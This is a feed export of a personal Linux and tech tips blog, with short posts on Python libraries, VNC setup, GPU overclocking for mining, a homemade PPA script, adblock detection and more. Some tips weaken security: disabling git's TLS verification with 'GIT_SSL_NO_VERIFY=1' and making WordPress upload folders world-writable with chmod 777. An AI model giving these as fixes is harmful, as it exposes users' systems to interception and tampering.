&lt;li&gt;TensorFlow comes with an easy to learn architecture. You can easily develop your concept into code and make your publications even easier.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;It has a solution to all of your common machine learning issues. You can easily implement it and go for giving your best.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/tensorflow/tensorflow&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get TensorFlow&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;20-beautifulsoup&quot; class=&quot;ftwp-heading&quot;&gt;&lt;strong&gt;BeautifulSoup&lt;/strong&gt;&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;BeautifulSoup is a great python library. It is used for parsing. It can parse different broken HTML and XML documents, as well. It offers an easy way for web scraping by extracting direct data from HTML. Many professionals are really happy with its amazing performance. It can save quite a lot of time on your day.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of BeautifulSoup&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BeautifulSoup can easily parse data out of HTML and XML. However, to do so, it needs a package and an exterior parser.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;It can be easily taught and learned. Parsing can be nicely done with simple html.parser command.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;BeautifulSoup4 comes with good support both for Python 2 and 3. However, BeautiSoup3 works with Python 2 only.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Moreover, it offers users proper documentation of the package, which helps us to learn things quite fast.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;While working with BeautifulSoup, if you ever need any support, there is a large community to help you at an instance.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://pypi.org/project/beautifulsoup4/&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get BeautifulSoup&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;21-bokeh&quot; class=&quot;ftwp-heading&quot;&gt;&lt;strong&gt;Bokeh&lt;/strong&gt;&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;Bokeh is a data visualization library for python. It allows interactive data visualization. It is a special package, and it works quite differently than other data visualization libraries. This is because Bokeh uses HTML and&amp;nbsp;&lt;a title=&quot;Top 30 Best JavaScript Frameworks and Libraries [2019]&quot; href=&quot;https://ubuntupit.com/best-javascript-frameworks-and-libraries/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;JavaScript&lt;/a&gt;&amp;nbsp;to provide its graphics, which makes it a reliable platform for contributing to dashboards and applications that are web-based.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of Bokeh&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;With Bokeh, you can create composite statistical scenarios easily using straight-forward commands.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;You can easily render your project output in different medias such as html, server, and notebook as well.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Bokeh is a very compatible library that can easily work with different visualization and Django applications.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;You can have custom visualizations using Bokeh. It allows you to implement interactive layouts and other styling features for your data visualization.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Bokeh is highly flexible, and it can convert your visualization that is written in other libraries such as matplotlib, ggplot, and others.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://pypi.org/project/bokeh/&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get Bokeh&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;24-pandas&quot; class=&quot;ftwp-heading&quot;&gt;&lt;strong&gt;Pandas&lt;/strong&gt;&lt;/h3&gt;
&lt;hr /&gt;
&lt;p&gt;Pandas is a&amp;nbsp;&lt;a title=&quot;Top 25 Best Free Python Web Framework Software To Use In 2019&quot; href=&quot;https://ubuntupit.com/top-25-best-free-python-web-framework-software-to-use/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;python software package&lt;/a&gt;. It is a must to learn for data-science and dedicatedly written for Python language. It is a fast, demonstrative, and adjustable platform that offers intuitive data-structures. You can easily manipulate any type of data such as &amp;ndash; structured or time-series data with this amazing package.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features Of Pandas&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pandas provide us with many Series and DataFrames. It allows you to easily organize, explore, represent, and manipulate data.&lt;/li&gt;
&lt;li&gt;Smart alignment and indexing featured in Pandas offer you a perfect organization and data labeling.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Pandas has some special features that allow you to handle missing data or value with a proper measure.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;This package offers you such a clean code that even people with no or basic knowledge of programming can easily work with it.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;It provides a collection of built-in tools that allows you to both read and write data in different web services, data-structure, and databases as well.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Pandas can support JSON, Excel, CSV, HDF5, and many other formats. In fact, you can merge different databases at a time with Pandas.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://pypi.org/project/pandas/&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener noreferrer&quot;&gt;&lt;span class=&quot;td_btn td_btn_md td_round_btn&quot;&gt;&lt;strong&gt;Get Pandas&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;</content>
<published>2020-05-18T15:10:28+00:00</published>
<updated>2020-05-18T15:10:28+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/228'/>
<id>https://wirelessarmy.theproject1.com/228</id>
<author><name>admin</name></author>
</entry> <entry>
<title>debian gnome vnc server</title> 
<content type='html'>&lt;p&gt;the following will fix th gray screen or the black screen problem with vncserver&lt;/p&gt;
&lt;p&gt;apt-get install tightvnc server&lt;/p&gt;
&lt;p&gt;for backup&lt;br /&gt;cp .vnc/xstartup .vnc/xstartup.back&lt;/p&gt;
&lt;p&gt;change your xstartupfile&lt;/p&gt;
&lt;pre&gt;#!/bin/sh&lt;br /&gt;# Uncomment the following two lines for normal desktop:&lt;br /&gt;unset SESSION_MANAGER&lt;br /&gt;unset DBUS_SESSION_BUS_ADDRESS&lt;br /&gt;#!/bin/shxrdb $HOME/.Xresources&lt;br /&gt;xsetroot -solid grey&lt;br /&gt;x-terminal-emulator -geometry 80x24+10+10 -ls -title &quot;$VNCDESKTOP Desktop&quot; &amp;amp;&lt;br /&gt;# x-window-manager &amp;amp;&lt;br /&gt;gnome-session &amp;amp;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;run&lt;/p&gt;
&lt;p&gt;vncserver :1&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;this will usually run on port 5901&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;you can do vncserver -list&amp;nbsp;&lt;/p&gt;
&lt;p&gt;or&amp;nbsp;&lt;/p&gt;
&lt;p&gt;vncserver -kill :1&lt;/p&gt;
&lt;p&gt;if you can&#039;t connect you need to enable portforwarding for your ssh connection (best option )&lt;/p&gt;
&lt;p&gt;because from default it will only be availble for localhost&lt;/p&gt;
&lt;p&gt;when you do netstat -lntp you will see 127.0.0.1 instad if 0.0.0.0&lt;/p&gt;</content>
<published>2020-05-18T05:03:13+00:00</published>
<updated>2020-05-18T05:03:13+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/227'/>
<id>https://wirelessarmy.theproject1.com/227</id>
<author><name>admin</name></author>
</entry> <entry>
<title>install linux headers</title> 
<content type='html'>&lt;pre&gt;uname -r&lt;/pre&gt;
&lt;pre&gt;&lt;br /&gt;apt search linux-headers-$(uname -r)&lt;br /&gt;apt install linux-headers-$(uname -r)&lt;/pre&gt;</content>
<published>2020-05-18T04:58:05+00:00</published>
<updated>2020-05-18T04:58:05+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/226'/>
<id>https://wirelessarmy.theproject1.com/226</id>
<author><name>admin</name></author>
</entry> <entry>
<title>wordpress direct upload</title> 
<content type='html'>&lt;p&gt;this will allow wordpress to upload plugins and themes files without using a FTP&lt;/p&gt;
&lt;p&gt;chown www-data:www-data /directory/wp-content -R&lt;br /&gt;chmod 777 or 755 for wp-content/uploads&lt;/p&gt;
&lt;p&gt;wp-config.php&lt;br /&gt; define(&#039;FS_METHOD&#039;, &#039;direct&#039;);&lt;/p&gt;</content>
<published>2020-05-13T14:51:31+00:00</published>
<updated>2020-05-13T14:51:31+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/225'/>
<id>https://wirelessarmy.theproject1.com/225</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Linux nvidia overclock</title> 
<content type='html'>&lt;p&gt;if you have an nvidia gpu like a gtx 1070 or a 1080, here is the best way to set it up for mining ethereum.&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;apt-get install linux-headers-$(uname -r|sed &#039;s/[^-]*-[^-]*-//&#039;)&lt;br /&gt;apt-get install -y linux-headers-$(uname -r)&lt;br /&gt;apt-get install nvidia-driver&amp;nbsp;nvidia-cuda-toolkit&lt;/pre&gt;
&lt;p&gt;nvidia change fan settings (in this example we are setting it to 70%)&lt;/p&gt;
&lt;pre&gt;nvidia-settings -a [gpu:0]/GPUFanControlState=1 -a [fan:0]/GPUTargetFanSpeed=70&lt;/pre&gt;
&lt;p&gt;and for setting the gpu overlock we use&amp;nbsp;GPUGraphicsClockOffset&lt;br /&gt;and for setting the memory overclock we use&amp;nbsp;GPUMemoryTransferRateOffset&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvidia-settings --assign &quot;[gpu:0]/GPUGraphicsClockOffset[3]=100&quot; --assign &quot;[gpu:0]/GPUMemoryTransferRateOffset[3]=1200&quot;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;you can change the gpu:0 to gpu:1 for each extra gpu you have.&lt;/pre&gt;
&lt;p&gt;if you get an error when trying to do this you need to add the folowing variable before the nvidia-settings ...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DISPLAY=:0 XAUTHORITY=/run/user/111/gdm/Xauthority&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;you use&amp;nbsp;ps a |grep X&amp;nbsp;&lt;/p&gt;
&lt;p&gt;and you will get a line like this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tty7&amp;nbsp; &amp;nbsp; &amp;nbsp;Sl+&amp;nbsp; &amp;nbsp; 0:00 /usr/bin/X vt7 -displayfd 3 -auth /run/user/111/gdm/Xauthority -background none -noreset -keeptty -verbose 3&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and you put the variable infront of -auth for your&amp;nbsp;&amp;nbsp;XAUTHORITY=&lt;/p&gt;
&lt;p&gt;you can also do&amp;nbsp;nvidia-xconfig --cool-bits=28 if the overclock doesn&#039;t work&lt;/p&gt;
&lt;p&gt;now for limiting the power consumption (under clock)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;nvidia-smi -pm 1 #for presistant power limit or it will stay the same after a reboot&lt;/p&gt;
&lt;p&gt;&amp;nbsp;nvidia-smi -i 0 -pl 140 #the pl is for power limit, in this example i&#039;m limiting a 150w card to 140&lt;br /&gt;-i is for choosing the first gpu&lt;/p&gt;
&lt;p&gt;you can run nvidia-smi to see your gpu usage.&lt;/p&gt;
&lt;p&gt;my recomendation is to run your gpu under 72 degrees&lt;/p&gt;</content>
<published>2020-05-13T14:37:13+00:00</published>
<updated>2020-05-13T14:37:13+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/224'/>
<id>https://wirelessarmy.theproject1.com/224</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Fix the ppa error</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/tSl6kzHy2qE&quot; width=&quot;450&quot; height=&quot;338&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt; copy the code below and past it in /usr/sbin/ with the name add-apt-repository.&lt;/p&gt;
&lt;pre&gt;#!/bin/bash
if [ $# -eq 1 ]
NM=`uname -a &amp;amp;&amp;amp; date`
NAME=`echo $NM | md5sum | cut -f1 -d&quot; &quot;`
then
  ppa_name=`echo &quot;$1&quot; | cut -d&quot;:&quot; -f2 -s`
  if [ -z &quot;$ppa_name&quot; ]
  then
    echo &quot;PPA name not found&quot;
    echo &quot;Utility to add PPA repositories in your debian machine&quot;
    echo &quot;$0 ppa:user/ppa-name&quot;
  else
    echo &quot;$ppa_name&quot;
    echo &quot;deb http://ppa.launchpad.net/$ppa_name/ubuntu lucid main&quot; &amp;gt;&amp;gt; /etc/apt/sources.list
    apt-get update &amp;gt;&amp;gt; /dev/null 2&amp;gt; /tmp/${NAME}_apt_add_key.txt
    key=`cat /tmp/${NAME}_apt_add_key.txt | cut -d&quot;:&quot; -f6 | cut -d&quot; &quot; -f3`
    apt-key adv --keyserver keyserver.ubuntu.com --recv-keys $key
    rm -rf /tmp/${NAME}_apt_add_key.txt
  fi
else
  echo &quot;Utility to add PPA repositories in your debian machine&quot;
  echo &quot;$0 ppa:user/ppa-name&quot;
fi
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;then:&lt;/p&gt;
&lt;pre&gt;chmod o+x /usr/sbin/add-apt-repository 
chown root:root /usr/sbin/add-apt-repository&lt;/pre&gt;
&lt;p&gt;now by doing this you will no longer get errors:&lt;/p&gt;
&lt;pre&gt;add-apt-repository ppa:ferramroberto/java
&lt;/pre&gt;</content>
<published>2020-04-24T05:45:00+00:00</published>
<updated>2020-04-24T05:45:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/87'/>
<id>https://wirelessarmy.theproject1.com/87</id>
<author><name>admin</name></author>
</entry> <entry>
<title>detect adblock on your site</title> 
<content type='html'>&lt;p&gt;since adblock is becoming popular you may not have the same revenue from advertisements as before on your site.&lt;br /&gt; you can add the following code where the adversisement is usually on your website to ask the users to turn off the adblock&lt;/p&gt;
&lt;pre&gt;&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;crayon-t&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;crayon-v&quot;&gt;ad&lt;/span&gt; &lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;crayon-v&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;ins.adsbygoogle&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;br /&gt;if&lt;/span&gt; &lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;ad&lt;/span&gt; &lt;span class=&quot;crayon-o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;crayon-v&quot;&gt;ad&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;innerHTML&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-c &quot;&gt;/\s/g&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;crayon-s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;crayon-o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;br /&gt;document.write(&quot;&amp;lt;h1&amp;gt;TURN OFF ADBLOCK!&amp;lt;/h1&amp;gt;&quot;);&lt;br /&gt;}&lt;/pre&gt;
&lt;p&gt;or make the content on your site unavaible to people with adblock turned on.&lt;/p&gt;
&lt;pre&gt;&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;crayon-t&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;crayon-v&quot;&gt;ad&lt;/span&gt; &lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;crayon-v&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;ins.adsbygoogle&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;br /&gt;if&lt;/span&gt; &lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;ad&lt;/span&gt; &lt;span class=&quot;crayon-o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;crayon-v&quot;&gt;ad&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;innerHTML&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-c &quot;&gt;/\s/g&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;crayon-s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;crayon-o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;br /&gt;document.getElementById(&quot;wrapper&quot;).style.display = &quot;none&quot;;&lt;br /&gt;document.write(&quot;&amp;lt;h1&amp;gt;TURN OFF ADBLOCK!&amp;lt;/h1&amp;gt;&quot;);&lt;br /&gt;}&lt;/pre&gt;</content>
<published>2020-04-24T05:45:00+00:00</published>
<updated>2020-04-24T05:45:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/171'/>
<id>https://wirelessarmy.theproject1.com/171</id>
<author><name>admin</name></author>
</entry> <entry>
<title>git clone error</title> 
<content type='html'>&lt;p&gt;if you get an error like the following:&lt;/p&gt;
&lt;p&gt;Cloning into &#039;&#039;...&lt;br /&gt;fatal: unable to access &#039;&#039;: server certificate verification failed. CAfile: none CRLfile: none&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;just type the following command in your terminal:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export GIT_SSL_NO_VERIFY=1&lt;/code&gt;&lt;/pre&gt;</content>
<published>2020-04-17T13:42:31+00:00</published>
<updated>2020-04-17T13:42:31+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/229'/>
<id>https://wirelessarmy.theproject1.com/229</id>
<author><name>admin</name></author>
</entry> <entry>
<title>basic of logic-gates</title> 
<content type='html'>&lt;p&gt;i always hated that my mat teachers talk but not give you and example. If any one try to explain this to some one else they will just get confused. I believe the best one of understanding this is just to look at it for 5 minutes.&lt;/p&gt;
&lt;p&gt;AND&amp;nbsp;&amp;rdquo;A&amp;amp;B&amp;rdquo; or&amp;nbsp;&amp;rdquo;A&amp;middot;B&amp;rdquo;&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;NAND&amp;nbsp;&amp;nbsp;&amp;rdquo;A NAND B&amp;rdquo; or &amp;ldquo;A|B&amp;rdquo; or &amp;ldquo;&amp;not;(A &amp;amp; B)&amp;rdquo;&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;OR V&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;NOR &lt;span style=&quot;text-decoration: overline;&quot;&gt;V&lt;/span&gt;&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src=&quot;../images/blog/Standard-Symbols-5698.jpg&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/p&gt;
&lt;p&gt;XOR&amp;nbsp;&amp;oplus;&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;XNOR a . b + &lt;span style=&quot;text-decoration: overline; border-topcolor: #fff;&quot;&gt;a&lt;/span&gt; . &lt;span style=&quot;text-decoration: overline; border-topcolor: #fff;&quot;&gt;b&lt;/span&gt;&lt;/p&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src=&quot;../images/blog/XOR-XNOR-Symbol.jpg&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/p&gt;</content>
<published>2019-07-26T18:38:00+00:00</published>
<updated>2019-07-26T18:38:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/17'/>
<id>https://wirelessarmy.theproject1.com/17</id>
<author><name>admin</name></author>
</entry> <entry>
<title>nvidia shadowplay on laptop</title> 
<content type='html'>If u have a new laptop, u may have noticed that nvidia shadowplay is not working with nvidia&#039;s laptop graphic editions.
but if you really want it to work, just create a shortcut on desktop.
right-click, properties and add  -shadowplay at it end like so
&lt;pre&gt;&quot;C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\GFExperience.exe&quot; -shadowplay&lt;/pre&gt;</content>
<published>2019-07-26T18:38:00+00:00</published>
<updated>2019-07-26T18:38:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/129'/>
<id>https://wirelessarmy.theproject1.com/129</id>
<author><name>admin</name></author>
</entry> <entry>
<title>IIS &quot;/&quot; error</title> 
<content type='html'>&lt;p&gt;if you just installed iis and you get this error, it’s because of windows security stuff so you need to:&lt;a href=&quot;/images/blog/Capture.png&quot;&gt;&lt;img width=&quot;100%&quot; height=100%&quot;&quot; alt=&quot;iis error&quot; src=&quot;/images/blog/Capture.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;right click on the folder containing your site files&lt;/li&gt;
&lt;li&gt;click on properties&lt;/li&gt;
